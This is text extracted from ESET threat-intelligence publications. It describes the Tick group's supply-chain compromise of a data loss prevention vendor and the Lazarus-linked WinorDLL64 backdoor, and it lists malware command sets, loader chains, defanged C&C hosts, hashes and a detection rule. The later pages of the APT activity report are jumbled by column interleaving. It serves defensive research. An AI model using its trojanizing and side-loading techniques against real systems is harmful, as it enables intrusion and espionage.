+According to ESET telemetry, in March 2021 the attackers deployed malware to several machines of the software developer company. The +malware included variants of the Netboy and Ghostdown families, and a previously undocumented downloader named ShadowPy. +1/11 +In April, the attackers began to introduce trojanized copies of the Q-dir installers in the network of the compromised company. +In June and September 2021, in the network of the compromised company, the component that performs updates for the software developed +by the compromised company downloaded a package that contained a malicious executable. +In February and June 2022, the trojanized Q-dir installers were transferred via remote support tools to customers of the compromised +company. +Figure 1. Timeline of the attack and related incidents. +Compromised update servers +The first incident where an update containing malware was registered was in June, and then again in September, 2021. On both cases the +update was delivered to machines inside the DLP company +s network. +The update came in the form of a ZIP archive that contained a malicious executable file. It was deployed and executed by a legitimate update +agent from software developed by the compromised company. The chain of compromise is illustrated in Figure 2. +2/11 +Figure 2. Illustration of the chain of compromise +The first detected case occurred in June 2021, and the update was downloaded from an internal server and deployed. The second case +occurred in September 2021, from a public-facing server. +The malicious executable issues an HTTP GET request to http://103.127.124[.]117/index.html to obtain the key to decrypt the embedded +payload, which is encrypted with the RC6 algorithm. The payload is dropped to the %TEMP% directory with a random name and a .vbe +extension, and is then executed. +Although we have not obtained the dropped sample from the compromised machine, based on the detection (VBS/Agent.DL), we have high +confidence that the detected script was the open-source backdoor ReVBShell. +Using ESET telemetry, we didn +t identify any customers of the DLP company who had received any malicious files through the software +developed by that company. Our hypothesis is that the attackers compromised the update servers to move laterally on the network, not to +perform a supply-chain attack against external customers. +Trojanized Q-Dir installers +Q-Dir is a legitimate application developed by SoftwareOK that allows its user to navigate four folders at the same time within the same +window, as shown in Figure 3. We believe that the legitimate application is part of a toolkit used by employees of the compromised company, +based on where the detections originated inside the network. +3/11 +Figure 3. Screenshot of the Q-Dir application +According to ESET telemetry, starting in April 2021, two months before the detection of the malicious updates, the attackers began to +introduce 32- and 64-bit trojanized installers of the application into the compromised company +s network. +We found two cases, in February and June 2022, where the trojanized installers were transferred by the remote support tools helpU and +ANYSUPPORT, to computers of two companies located in East Asia, one in the engineering vertical, and the other a manufacturing industry. +These computers had software from the compromised company installed on them, and the trojanized Q-dir installer was received minutes +after the support software was installed by the users. +Our hypothesis is that the customers of the compromised DLP company were receiving technical support from that company, via one of those +remote support applications and the malicious installer was used unknowingly to service the customers of the DLP company; it is unlikely that +the attackers installed support tools to transfer the trojanized installers themselves. +32-bit installer +The technique used to trojanize the installer involves injecting shellcode into a cavity at the end of the Section Headers table + the application +was compiled using 0x1000 for FileAlignment and SectionAlignment, leaving in a cavity of 0xD18 bytes + large enough to accommodate the +malicious, position-independent shellcode. The entry point code of the application is patched with a JMP instruction that points to the +shellcode, and is located right after the call to WinMain (Figure 4); therefore the malicious code is only executed after the application +legitimate code finishes its execution. +Figure 4. The assembly code shows the JMP instruction that diverts execution flow to the shellcode. The hexadecimal dump shows the +shellcode at the end of the PE +s section headers. +The shellcode, shown in Figure 5, downloads an unencrypted payload from http://softsrobot[.]com/index.html to %TEMP%\ChromeUp.exe +by default; if the file cannot be created, it gets a new name using the GetTempFileNameA API. +4/11 +Figure 5. Decompiled code of the function that orchestrates downloading the binary file and writing it to disk +64-bit installer +While only one malicious 32-bit installer was found, the 64-bit installers were detected in several places throughout the DLP company +network. The installer contains the Q-Dir application and an encoded (VBE) ReVBShell backdoor that was customized by the attackers; both +of them were compressed with LZO and encrypted with RC6. The files are dropped in the %TEMP% directory and executed. +ReVBShell +ReVBShell is an open-source backdoor with very basic capabilities. The backdoor code is written in VBScript and the controller code is written +in Python. Communication with the server is over HTTP with GET and POST requests. +The backdoor supports several commands, including: +Getting computer name, operating system name, architecture, and language version of the operating system +Getting username and domain name +Getting network adapter information +Listing running processes +Executing shell commands and sending back output +Changing current directory +Downloading a file from a given URL +Uploading a requested file +We believe that the attackers used ReVBShell version 1.0, based on the main branch commit history on GitHub. +More about the DLP company compromise +In this section, we provide more details about tools and malware families that Tick deployed in the compromised software company +network. +To maintain persistent access, the attackers deployed malicious loader DLLs along with legitimate signed applications vulnerable to DLL +search-order hijacking. The purpose of these DLLs is to decode and inject a payload into a designated process (in all cases of this incident, all +loaders were configured to inject into svchost.exe). +The payload in each loader is one of three malware families: ShadowPy, Ghostdown, or Netboy. Figure 6 illustrates the loading process. +5/11 +Figure 6. High-level overview of the Tick malware loading process +In this report we will focus on analyzing the ShadowPy downloader and Netboy backdoor. +ShadowPy +ShadowPy is a downloader developed in Python and converted into a Windows executable using a customized version of py2exe. The +downloader contacts its C&C to obtain Python scripts to execute. +Based on our findings, we believe the malware was developed at least two years before the compromise of the DLP company in 2021. We have +not observed any other incidents where ShadowPy was deployed. +Custom py2exe loader +As previously described, the malicious DLL loader is launched via DLL side-loading; in the case of ShadowPy we observed vssapi.dll being +side-loaded by avshadow.exe, a legitimate software component from the Avira security software suite. +The malicious DLL contains, encrypted in its overlay, three major components: the py2exe custom loader, the Python engine and the PYC +code. First, the DLL loader code locates the custom py2exe loader in its overlay and decrypts it using a NULL-preserving XOR using 0x56 as +the key, then it loads it in memory and injects it in a new svchost.exe process that it creates. Then the entry point of the custom py2exe loader +is executed on the remote process.The difference between the original py2exe loader code and the customized version used by Tick, is that the +custom loader reads the contents of the malicious vssapi.dll from disk and searches for the Python engine and the PYC code in the overlay, +whereas the original locates the engine and the PYC code in the resource section. +The loading chain is illustrated in Figure 7. +6/11 +Figure 7. High-level overview of the steps taken to execute the PYC payload +Python downloader +The PYC code is a simple downloader whose purpose is to retrieve a Python script and execute it in a new thread. This downloader randomly +picks a URL from a list (although for the samples we analyzed only one URL was present) and builds a unique ID for the compromised +machine by building a string composed of the following data: +Machine local IP address +MAC address +Username (as returned by the %username% environment variable) +Domain and username (results of the whoami command) +Network computer name (as returned by Python +s platform.node function) +Operating system information (as returned by Python +s platform.platform function) +Architecture information (as returned by Python +s platform.architecture function) +Finally, it uses abs(zlib.crc32()) to generate the value that will serve as an ID. The ID is inserted in the middle of a string composed +of random characters and is further obfuscated, then it is appended to the URL as shown in Figure 8. +Figure 8. Decompiled Python code that prepares the URL, appending the obfuscated unique user ID +It issues an HTTP GET request to travelasist[.]com to receive a new payload that is XOR-decrypted with a fixed, single-byte key, 0xC3, then +base64-decoded; the result is decrypted using the AES algorithm in CFB mode with a 128-bit key and IV provided with the payload. Lastly it is +decompressed using zlib and executed in a new thread. +Netboy +Netboy (aka Invader) is a backdoor programmed in Delphi; it supports 34 commands that allow the attackers to capture the screen, perform +mouse and keyboard events on the compromised machine, manipulate files and services, and obtain system and network information, among +other capabilities. +Network protocol +Netboy communicates with its C&C server over TCP. The packet format used to exchange information between the backdoor and its C&C is +described in Figure 9. +7/11 +Figure 9. Illustration of the C&C packet format implemented by Netboy +In order to fingerprint its packets, it generates two random numbers (first two fields in the header) that are XORed together (as shown in +Figure 10) to form a third value that is used to validate the packet. +Figure 10. Decompiled code that generates two random numbers and combines them to generate a packet +fingerprint value +Packet validation is shown in Figure 11, when the backdoor receives a new command from its controller. +Figure 11. Decompiled code that performs validation of a newly received packet +The packet header also contains the size of the encrypted compressed data, and the size of the uncompressed data plus the size (DWORD) of +another field containing a random number (not used for validation) that is prepended to the data before it is compressed, as shown in Figure +Figure 12. Decompiled code that creates a new packet to be sent to the controller +For compression, Netboy uses a variant of the LZRW family of compression algorithms and for encryption it uses the RC4 algorithm with a +256-bit key made up of ASCII characters. +Backdoor commands +Netboy supports 34 commands; however, in Table 1 we describe only 25 of the most prominent ones giving the attackers certain capabilities +on the compromised systems. +Table 1. Most interesting Netboy backdoor commands +Command ID +Description +0x05 +Create new TCP socket and store received data from its controller to a new file. +8/11 +Command ID +Description +0x06 +Create new TCP socket and read file; send contents to the controller. +0x08 +Gets local host name, memory information, system directory path, and configured operating hours range for the backdoor +(for example, between 14-18). +0x0A +List network resources that are servers. +0x0B +List files in a given directory. +0x0C +List drives. +0x0E +Execute program with ShellExecute Windows API. +0x0F +Delete file. +0x10 +List processes. +0x11 +Enumerate modules in a process. +0x12 +Terminate process. +0x13 +Execute program and get output. +0x16 +Download a new file from the server and execute with ShellExecute Windows API. +0x1D +Create reverse shell. +0x1E +Terminate shell process. +0x1F +Get TCP and UDP connections information using the WinSNMP API. +0x23 +List services. +0x24 +Start service specified by the controller. +0x25 +Stop service specified by the controller. +0x26 +Create a new service. Details such as service name, description, and path are received from the controller. +0x27 +Delete service specified by the controller. +0x28 +Set TCP connection state. +0x29 +Start screen capture and send to the controller every 10 milliseconds. +0x2A +Stop screen capture. +0x2B +Perform mouse and keyboard events requested by the controller. +Attribution +We attribute this attack to Tick with high confidence based on the malware found that has been previously attributed to Tick, and to the best +of our knowledge has not been shared with other APT groups, and the code similarities between ShadowPy and the loader used by Netboy. +Additionally, domains used by the attackers to contact their C&C servers were previously attributed to Tick in past cases: waterglue[.]org in +2015, and softsrobot[.]com in 2020. +Possibly related activity +In May 2022, AhnLab researchers published a report about an unidentified threat actor targeting entities and individuals from South Korea +with CHM files that deploy a legitimate executable and a malicious DLL for side-loading. The purpose of the DLL is to decompress, decrypt, +drop, and execute a VBE script in the %TEMP% folder. The decoded script reveals a ReVBShell backdoor once again. +We believe that campaign is likely to be related to the attack described in this report, as the custom ReVBShell backdoor of both attacks is the +same, and there are multiple code similarities between the malicious 64-bit installer (SHA-1: +B9675D0EFBC4AE92E02B3BFC8CA04B01F8877DB6) and the quartz.dll sample (SHA-1: +ECC352A7AB3F97B942A6BDC4877D9AFCE19DFE55) described by AhnLab. +Conclusion +9/11 +ESET researchers uncovered a compromise of an East Asian data loss prevention company. During the intrusion, the attackers deployed at +least three malware families, and compromised update servers and tools used by the compromised company. As a result, two customers of the +company were subsequently compromised. +Our analysis of the malicious tools used during the attack revealed previously undocumented malware, which we named ShadowPy. Based on +similarities in the malware found during the investigation, we have attributed the attack with high confidence to the Tick APT group, known +for its cyberespionage operations targeting the APAC region. +We would like to thank Cha Minseok from AhnLab for sharing information and samples during our research. +ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat +Intelligence page. +IoCs +Files +SHA-1 +Filename +ESET detection name +Description +72BDDEAD9B508597B75C1EE8BE970A7CA8EB85DC +dwmapi.dll +Win32/Netboy.A +Netboy backdoor. +8BC1F41A4DDF5CFF599570ED6645B706881BEEED +vssapi.dll +Win64/ShadowPy.A +ShadowPy downloader. +4300938A4FD4190A47EDD0D333E26C8FE2C7451E +Win64/TrojanDropper.Agent.FU +Trojanized Q +dir installer, 64 +bit v +Drops the customized ReVBShel +version A. +B9675D0EFBC4AE92E02B3BFC8CA04B01F8877DB6 +Win64/TrojanDropper.Agent.FU +Trojanized Q +dir installer, 64 +bit v +Drops the customized ReVBShel +version B. +F54F91D143399B3C9E9F7ABF0C90D60B42BF25C9 +Win32/TrojanDownloader.Agent.GBY +Trojanized Q-dir installer, 32-bit v +FE011D3BDF085B23E6723E8F84DD46BA63B2C700 +VBS/Agent.DL +Customized ReVBShell backdoo +version A. +02937E4A804F2944B065B843A31390FF958E2415 +VBS/Agent.DL +Customized ReVBShell backdoo +version B. +Network +Provider +First seen +Details +115.144.69[.]108 +KINX +2021 +travelasist[.]com +ShadowPY C&C server +110.10.16[.]56 +SK Broadband Co Ltd +2020 +mssql.waterglue[.]org +Netboy C&C server +103.127.124[.]117 +MOACK.Co.LTD +2020 +Server contacted by the malicious update executable to retrieve a key for +decryption. +103.127.124[.]119 +MOACK.Co.LTD +2021-04-28 +slientship[.]com +ReVBShell backdoor version A server. +103.127.124[.]76 +MOACK.Co.LTD +2020 +ReVBShell backdoor version B server. +58.230.118[.]78 +SK Broadband Co Ltd +2022-01-25 +oracle.eneygylakes[.]com +Ghostdown server. +192.185.89[.]178 +Network Solutions, LLC +2020-01-28 +Server contacted by the malicious 32-bit installer to retrieve a payload. +MITRE ATT&CK techniques +This table was built using version 12 of the MITRE ATT&CK framework. +Tactic +Name +Description +Initial +Access +T1195.002 +Supply Chain Compromise: +Compromise Software Supply +Chain +Tick compromised update servers to deliver malicious update packages via +the software developed by the compromised company. +10/11 +Tactic +Name +Description +T1199 +Trusted Relationship +Tick replaced legitimate applications used by technical support to +compromise customers of the company. +T1059.005 +Command and Scripting +Interpreter: Visual Basic +Tick used a customized version of ReVBShell written in VBScript. +T1059.006 +Command and Scripting +Interpreter: Python +ShadowPy malware uses a downloader written in Python. +T1547.001 +Boot or Logon Autostart +Execution: Registry Run Keys / +Startup Folder +Netboy and ShadowPy loaders persist via a Run key. +T1543.003 +Create or Modify System +Process: Windows Service +Netboy and ShadowPy loaders persist by creating a service. +T1574.002 +Hijack Execution Flow: DLL +Side-Loading +Netboy and ShadowPy loaders use legitimate service and description names +when creating services. +T1036.004 +Masquerading: Masquerade +Task or Service +Netboy and ShadowPy loaders use legitimate service and description names +when creating services. +T1036.005 +Masquerading: Match +Legitimate Name or Location +Netboy and ShadowPy loaders use legitimate service and description names +when creating services. +T1027 +Obfuscated Files or Information +Netboy, ShadowPy, and their loader use encrypted: payloads, strings, +configuration. Loaders contain garbage code. +T1027.001 +Obfuscated Files or +Information: Binary Padding +Netboy and ShadowPy loaders DLLs are padded to avoid security solutions +from uploading samples. +T1055.002 +Process Injection: Portable +Executable Injection +Netboy and ShadowPy loaders inject a PE into a preconfigured system +process. +T1055.003 +Process Injection: Thread +Execution Hijacking +Netboy and ShadowPy loaders hijack the main thread of the system process +to transfer execution to the injected malware. +T1135 +Network Share Discovery +Netboy has network discovery capabilities. +T1120 +Peripheral Device Discovery +Netboy enumerates all available drives. +T1057 +Process Discovery +Netboy and ReVBShell have process enumeration capabilities. +T1082 +System Information Discovery +Netboy and ReVBShell, gather system information. +T1033 +System Owner/User Discovery +Netboy and ReVBShell, gather user information. +T1124 +System Time Discovery +Netboy uses system time to contact its C&C only during a certain time range. +Lateral +Movement +T1080 +Taint Shared Content +Tick replaced legitimate applications used by technical support, which +resulted also in malware execution within the compromised network on +previously clean systems. +Collection +T1039 +Data from Network Shared +Drive +Netboy and ReVBShell have capabilities to collect files. +T1113 +Screen Capture +Netboy has screenshot capabilities. +T1071.001 +Application Layer Protocol: +Web Protocols +ShadowPy and ReVBShell communicate via HTTP protocol with their C&C +server. +T1132.001 +Data Encoding: Standard +Encoding +Tick +s customized ReVBShell uses base64 to encode communication with +their C&C servers. +T1573 +Encrypted Channel +Netboy uses RC4. ShadowPy uses AES. +T1041 +Exfiltration Over C2 Channel +Netboy and ReVBShell have exfiltration capabilities. +T1567.002 +Exfiltration Over Web Service: +Exfiltration to Cloud Storage +Tick deployed a custom tool to download and exfiltrate files via a web service. +Execution +Persistence +Defense +Evasion +Discovery +Command +and Control +Exfiltration +14 Mar 2023 - 11:30AM +11/11 +WinorDLL64: A backdoor from the vast Lazarus arsenal? +welivesecurity.com/2023/02/23/winordll64-backdoor-vast-lazarus-arsenal +February 23, 2023 +ESET researchers have discovered one of the payloads of the Wslink downloader that we +uncovered back in 2021. We named this payload WinorDLL64 based on its filename +WinorDLL64.dll. Wslink, which had the filename WinorLoaderDLL64.dll, is a loader for +Windows binaries that, unlike other such loaders, runs as a server and executes received +modules in memory. As the wording suggests, a loader serves as a tool to load a payload, or the +actual malware, onto the already compromised system. The initial Wslink compromise vector +has not been identified. +The initially unknown Wslink payload was uploaded to VirusTotal from South Korea shortly +after the publication of our blogpost, and hit one of our YARA rules based on Wslink +s unique +name WinorDLL64. Regarding Wslink, ESET telemetry has seen only a few detections +Central Europe, North America, and the Middle East. +The WinorDLL64 payload serves as a backdoor that most notably acquires extensive system +information, provides means for file manipulation, such as exfiltrating, overwriting, and +removing files, and executes additional commands. Interestingly, it communicates over a +connection that was already established by the Wslink loader. +In 2021, we did not find any data that would suggest Wslink is a tool from a known threat +actor. However, after an extensive analysis of the payload, we have attributed WinorDLL64 to +the Lazarus APT group with low confidence based on the targeted region and an overlap in +both behavior and code with known Lazarus samples. +Active since at least 2009, this infamous North-Korea aligned group is responsible for highprofile incidents such as both the Sony Pictures Entertainment hack and tens-of-millions-ofdollar cyberheists in 2016, the WannaCryptor (aka WannaCry) outbreak in 2017, and a long +history of disruptive attacks against South Korean public and critical infrastructure since at +least 2011. US-CERT and the FBI call this group HIDDEN COBRA. +Based on our extensive knowledge of the activities and operations of this group, we believe +that Lazarus consists of a large team that is systematically organized, well prepared, and is +made up of several subgroups that utilize a large toolset. Last year, we discovered a Lazarus +tool that took advantage of the CVE +2021 +21551 vulnerability to target an employee of an +aerospace company in the Netherlands, and a political journalist in Belgium. It was the first +recorded abuse of the vulnerability; in combination, the tool and the vulnerability led to the +blinding of the monitoring of all security solutions on compromised machines. We also +provided an extensive description of the structure of the virtual machine used in samples of +Wslink. +1/11 +This blogpost explains the attribution of WinorDLL64 to Lazarus and provides an analysis of +the payload. +Links to Lazarus +We have discovered overlaps in both behavior and code with Lazarus samples from Operation +GhostSecret and the Bankshot implant described by McAfee. The description of the implants +in both GhostSecret and Bankshot articles contains overlaps in the functionality with +WinorDLL64 and we found some code overlap in the samples. In this blogpost we will only use +the FE887FCAB66D7D7F79F05E0266C0649F0114BA7C sample from GhostSecret for +comparison against WinorDLL64 (1BA443FDE984CEE85EBD4D4FA7EB1263A6F1257F), +unless specified otherwise. +The following details summarize the supporting facts for our low confidence attribution to +Lazarus: +1. Victimology +Fellow researchers from AhnLab confirmed South Korean victims of Wslink in their +telemetry, which is a relevant indicator considering the traditional Lazarus targets and +that we have observed only a few hits. +Figure 1. Reported South Korean victim, where mstoned7 is the researcher from Ahnlab +2. Malware +The latest GhostSecret sample reported by McAfee +(FE887FCAB66D7D7F79F05E0266C0649F0114BA7C) is from February 2018; we +spotted the first sample of Wslink in late 2018 and fellow researchers reported hits in +August 2018, which they disclosed after our publication. Hence, these samples were +spotted a relatively short period of time apart. +2/11 +The PE rich headers indicate that the same development environment and projects of +similar size were used in several other known Lazarus samples (e.g., +70DE783E5D48C6FBB576BC494BAF0634BC304FD6; +8EC9219303953396E1CB7105CDB18ED6C568E962). We found this overlap using the +following rules that cover only these Wslink and Lazarus samples, which is an indicator +with a low weight. We tested them on VirusTotal +s retrohunt and our internal file corpus. +rich_signature.length == 80 and +pe.rich_signature.toolid(175, 30319) == 7 and +pe.rich_signature.toolid(155, 30319) == 1 and +pe.rich_signature.toolid(158, 30319) == 10 and +pe.rich_signature.toolid(170, 30319) >= 90 and +pe.rich_signature.toolid(170, 30319) <= 108 +This rule can be translated to the following notation that is more readable and used by +VirusTotal, where one can see the product version and build ID (VS2010 build 30319), +number and type of source/object files used ([LTCG C++] where LTCG stands for Link Time +Code Generation, [ASM], [ C ]), and number of exports ([EXP]) in the rule: +[LTCG C++] VS2010 build 30319 count=7 +[EXP] VS2010 build 30319 count=1 +[ASM] VS2010 build 30319 count=10 +[ C ] VS2010 build 30319 count in [ 90 .. 108 ] +The GhostSecret article described +a unique data-gathering and implant-installation +component that listens on port 443 for inbound control server connections + that +additionally ran as a service. This is an accurate description of Wslink downloader +behavior, apart from the port number, which can vary based on the configuration. To +sum it up, even though the implementation is different, both serve the same purpose. +The loader is virtualized by Oreans + Code Virtualizer, which is a commercial protector +that is used frequently by Lazarus. +The loader uses the MemoryModule library to load modules directly from memory. The +library is not commonly used by malware, but it is quite popular among North Koreaaligned groups such as Lazarus and Kimsuky. +Overlap in the code between WinorDLL64 and GhostSecret that we found during our +analysis. The results and the significance in attribution are listed in Table 1. +Table 1. Similarities between WinorDLL64 and GhostSecret and their significance in +attributing both to the same threat actor +Other similarities between WinorDLL64 and GhostSecret +Impact +Code overlap in code responsible to get processor architecture +3/11 +Other similarities between WinorDLL64 and GhostSecret +Impact +Code overlap in current directory manipulation +Code overlap in getting the process list +Code overlap in file sending +Behavior overlap in listing processes +Behavior overlap in current directory manipulation +Behavior overlap in file and directory listing +Behavior overlap in listing volumes +Behavior overlap in reading/writing files +Behavior overlap in creating processes +Considerable behavior overlap in secure removal of files +Considerable behavior overlap in termination of processes +Considerable behavior overlap in collecting system information +Code overlap in the file sending functionality is highlighted in Figure 2 and Figure 3. +Figure 2. GhostSecret sending a file +4/11 +Figure 3. Wslink sending a file +Technical analysis +WinorDLL64 serves as a backdoor that most notably acquires extensive system information, +provides means for file manipulation, and executes additional commands. Interestingly, it +communicates over a TCP connection that was already established by its loader and uses some +of the loader +s functions. +5/11 +Figure 4. Visualization of Wslink +s communication +The backdoor is a DLL with a single unnamed export that accepts one parameter + a structure +for communication that was already described in our previous blogpost. The structure +contains a TLS-context + socket, key, IV + and callbacks for sending and receiving messages +encrypted with 256-bit AES-CBC that enable WinorDLL64 to exchange data securely with the +operator over an already established connection. +The following facts lead us to believe with high confidence that the library is indeed part of +Wslink: +The unique structure is used everywhere in the expected way, e.g., the TLS-context and +other meaningful parameters are supplied in the anticipated order to the correct +callbacks. +The name of the DLL is WinorDLL64.dll and Wslink +s name was +WinorLoaderDLL64.dll. +WinorDLL64 accepts several commands. Figure 5 displays the loop that receives and handles +commands. Each command is bound to a unique ID and accepts a configuration that contains +additional parameters. +6/11 +Figure 5. The main part of the backdoor +s command-receiving loop +The command list, with our labels, is in Figure 6. +Figure 6. The command list +Table 2 contains a summary of the WinorDLL64 commands, where modified, and old +categories refer to the relationship to the previously documented GhostSecret functionality. +We highlight only significant changes in the modified category. +Table 2. Overview of backdoor commands +Category +Command +Functionality +Description +7/11 +Category +Command +Modified +Functionality +Description +0x03 +Execute a +PowerShell +command +WinorDLL64 instructs the PowerShell interpreter +to run unrestricted and to read commands from +standard input. Afterwards, the backdoor passes +the specified command to the interpreter and +sends the output to the operator. +0x09 +Compress +and download +a directory +WinorDLL64 recursively iterates over a specified +directory. The content of each file and directory is +compressed separately and written to a +temporary file that is afterwards sent to the +operator and then removed securely. +0x0D +Disconnect a +session +Disconnects a specified logged-on user from the +user +s Remote Desktop Services session. The +command can also perform different functionality +based on the parameter. +0x0D +List sessions +Acquires various details about all sessions on the +victim +s device and sends them to the operator. +The command can also perform different +functionality based on the parameter. +0x0E +Measure +connection +time +Uses the Windows API GetTickCount to measure +the time required to connect to a specified host. +0x01 +Get system +info +Acquires comprehensive details about the victim +system and sends them to the operator. +0x0A +Remove files +securely +Overwrites specified files with a block of random +data, renames each file to a random name, and +finally securely removes them one by one. +0x0C +Kill processes +Terminates all processes whose names match a +supplied pattern and/or with a specific PID. +0x02/0x0B +Create a +process +Creates a process either as the current or +specified user and optionally sends its output to +the operator. +0x05 +Set/Get +current +directory +Attempts to set and subsequently acquire the +path of the current working directory. +0x06 +List volumes +Iterates over drives from C: to Z: and acquires the +drive type and volume name. The command can +also perform different functionality based on the +parameter. +8/11 +Category +Command +Functionality +Description +0x06 +List files in a +directory +Iterates over files in specified directory and +acquires information such as names, attributes, +etc. The command can also perform different +functionality based on the parameter. +0x07 +Write to a file +Downloads and appends the stated amount of +data to specified file. +0x08 +Read from a +file +The specified file is read and sent to the operator. +0x0C +List +processes +Acquires details about all running processes on +the victim +s device and additionally sends ID of +the current process. +Conclusion +Wslink +s payload is dedicated to providing means for file manipulation, execution of further +code, and obtaining extensive information about the underlying system that possibly can be +leveraged later for lateral movement, due to specific interest in network sessions. The Wslink +loader listens on a port specified in the configuration and can serve additional connecting +clients, and even load various payloads. +WinorDLL64 contains an overlap in the development environment, behavior, and code with +several Lazarus samples, which indicates that it might be a tool from the vast arsenal of this +North-Korea aligned APT group. +ESET Research offers private APT intelligence reports and data feeds. For any inquiries +about this service, visit the ESET Threat Intelligence page. +IoCs +SHA-1 +ESET detection name +Description +1BA443FDE984CEE85EBD4D4FA7EB1263A6F1257F +Win64/Wslink.A +Memory +dump of +discovered +Wslink +payload +WinorDll64. +MITRE ATT&CK techniques +9/11 +This table was built using version 12 of the ATT&CK framework. We do not mention +techniques from the loader again, only the payload. +Tactic +Name +Description +Resource +Development +T1587.001 +Develop +Capabilities: +Malware +WinorDLL64 is a custom tool. +Execution +T1059.001 +Command +and Scripting +Interpreter: +PowerShell +WinorDLL64 can execute arbitrary PowerShell +commands. +T1106 +Native API +WinorDLL64 can execute further processes +using the CreateProcessW and +CreateProcessAsUserW APIs. +T1134.002 +Access Token +Manipulation: +Create +Process with +Token +WinorDLL64 can call APIs +WTSQueryUserToken and +CreateProcessAsUserW to create a process +under an impersonated user. +T1070.004 +Indicator +Removal: File +Deletion +WinorDLL64 can securely remove arbitrary +files. +T1087.001 +Account +Discovery: +Local +Account +WinorDLL64 can enumerate sessions and list +associated user, and client names, among +other details. +T1087.002 +Account +Discovery: +Domain +Account +WinorDLL64 can enumerate sessions and list +associated domain names +among other +details. +T1083 +File and +Directory +Discovery +WinorDLL64 can obtain file and directory +listings. +T1135 +Network +Share +Discovery +WinorDLL64 can discover shared network +drives. +T1057 +Process +Discovery +WinorDLL64 can collect information about +running processes. +T1012 +Query +Registry +WinorDLL64 can query the Windows registry +to gather system information. +Defense +Evasion +Discovery +10/11 +Tactic +Collection +Impact +Name +Description +T1082 +System +Information +Discovery +WinorDLL64 can obtain information such as +computer name, OS and latest service pack +version, processor architecture, processor +name, and amount of space on fixed drives. +T1614 +System +Location +Discovery +WinorDLL64 can obtain the victim +s default +country name using the GetLocaleInfoW API. +T1614.001 +System +Location +Discovery: +System +Language +Discovery +WinorDLL64 can obtain the victim +s default +language using the GetLocaleInfoW API. +T1016 +System +Network +Configuration +Discovery +WinorDLL64 can enumerate network adapter +information. +T1049 +System +Network +Connections +Discovery +WinorDLL64 can collect a list of listening +ports. +T1033 +System +Owner/User +Discovery +WinorDLL64 can enumerate sessions and list +associated user, domain, and client names +among other details. +T1560.002 +Archive +Collected +Data: Archive +via Library +WinorDLL64 can compress and exfiltrate +directories using the quicklz library. +T1005 +Data from +Local System +WinorDLL64 can collect data on the victim +device. +T1531 +Account +Access +Removal +WinorDLL64 can disconnect a logged-on user +from specified sessions. +23 Feb 2023 - 11:30AM +11/11 +APT Activity +Report +GOVERNMENT ESPIONAGE AND +UNPATCHED VULNERABILITIES +April 2023 + September 2023 +(eset):research +ESET APT ACTIVITY REPORT +APRIL - SEPTEMBER 2023 | 2 +Contents +Executive summary +Middle Eastern groups +Targeted countries and verticals +POLONIUM +China-aligned groups +North Korea-aligned groups +Mustang Panda +Andariel +FishMonger +Lazarus +TA410 +ScarCruft +GREF +Kimsuky +MirrorFace +Konni +GALLIUM +Russia-aligned groups +DigitalRecyclers +Sandworm +TheWizards +Gamaredon +PerplexedGoblin +Turla +Worok +Sednit +India-aligned groups +Other +Donot Team +SturgeonPhisher +Iran-aligned groups +Winter Vivern +MuddyWater +About ESET +OilRig +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER | 3 +Executive summary +Welcome to the latest issue of the ESET APT Activity Report! +This report summarizes the activities of selected advanced persistent +an unidentified entity in Saudi Arabia, deploying a payload that suggests +groups: DigitalRecyclers, repeatedly compromising a governmental +threat (APT) groups that were observed, investigated, and analyzed +the possibility of this threat actor serving as an access development +organization in the EU; TheWizards, conducting adversary-in-the- +by ESET researchers from April 2023 until the end of September 2023. +team for a more advanced group. +middle attacks; and PerplexedGoblin, targeting another government +In the monitored timespan, we observed a notable strategy of APT +organization in the EU. +groups utilizing the exploitation of known vulnerabilities to exfiltrate +The prime target of Russia-aligned groups remained Ukraine, where +data from governmental entities or related organizations. Russia-aligned +we discovered new versions of the known wipers RoarBat and +ESET APT Activity Reports contain only a fraction of the cybersecurity +Sednit and Sandworm, North Korea-aligned Konni, and geographically +NikoWiper, and a new wiper we named SharpNikoWiper, all deployed +intelligence data provided to customers of ESET +s private APT reports. +unattributed Winter Vivern and Sturgeon Phisher seized the opportunity +by Sandworm. Interestingly, while other groups + such as Gamaredon, +ESET researchers prepare in-depth technical reports and frequent +to exploit vulnerabilities in WinRAR (Sednit, SturgeonPhisher, and +GREF, and SturgeonPhisher + target Telegram users to try to exfiltrate +activity summaries detailing activities of specific APT groups, in the +Konni), Roundcube (Sednit and Winter Vivern), Zimbra (Winter Vivern), +information or at least some Telegram-related metadata, Sandworm +form of ESET APT Reports PREMIUM, to help organizations tasked with +and Outlook for Windows (Sednit) to target various governmental +uses this service for active measure purposes, advertising its cyber- +protecting citizens, critical national infrastructure, and high-value assets +organizations in Ukraine, Europe, and Central Asia. Regarding China- +sabotage operations. However, Gamaredon remained the most active +from criminal and nation-state-directed cyberattacks. Comprehensive +aligned threat actors, GALLIUM probably exploited weaknesses in +group in Ukraine, significantly enhancing its data-collecting capabilities +descriptions of activities described in this document were therefore +Microsoft Exchange servers or IIS servers, extending its targeting from +by redeveloping existing tools and deploying new ones. +previously provided exclusively to our premium customers. More +telecommunications operators to government organizations around +information about ESET APT Reports PREMIUM and its delivery of +the world; MirrorFace probably exploited vulnerabilities in the Proself +North Korea-aligned groups continued to focus on Japan, South +high-quality, strategic, actionable, and tactical cybersecurity threat +online storage service; and TA410 probably exploited flaws in the Adobe +Korea, and South Korea-focused entities, employing carefully crafted +intelligence is available at the ESET Threat Intelligence page. +ColdFusion application server. +spearphishing emails. The most active Lazarus scheme observed was +Operation DreamJob, luring targets with fake job offers for lucrative +ESET products protect our customers + systems from the malicious +Iran- and Middle East-aligned groups continued to operate at +positions. This group consistently demonstrated its capability to create +activities described in this report. Intelligence shared here is based +high volume, primarily focusing on espionage and data theft from +malware for all major desktop platforms. Finally, our researchers +mostly on proprietary ESET telemetry data and has been verified by +organizations in Israel. Notably, Iran-aligned MuddyWater also targeted +uncovered the operations of three previously unidentified China-aligned +ESET researchers. +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +Targeted countries and verticals +TARGETED COUNTRIES AND REGIONS +TARGETED BUSINESS VERTICALS +Armenia +Pakistan +Bangladesh +Philippines +Gambling companies and their customers +Central Asia +Poland +Governmental organizations and entities +China +Saudi Arabia +Hosting providers +Czechia +Serbia 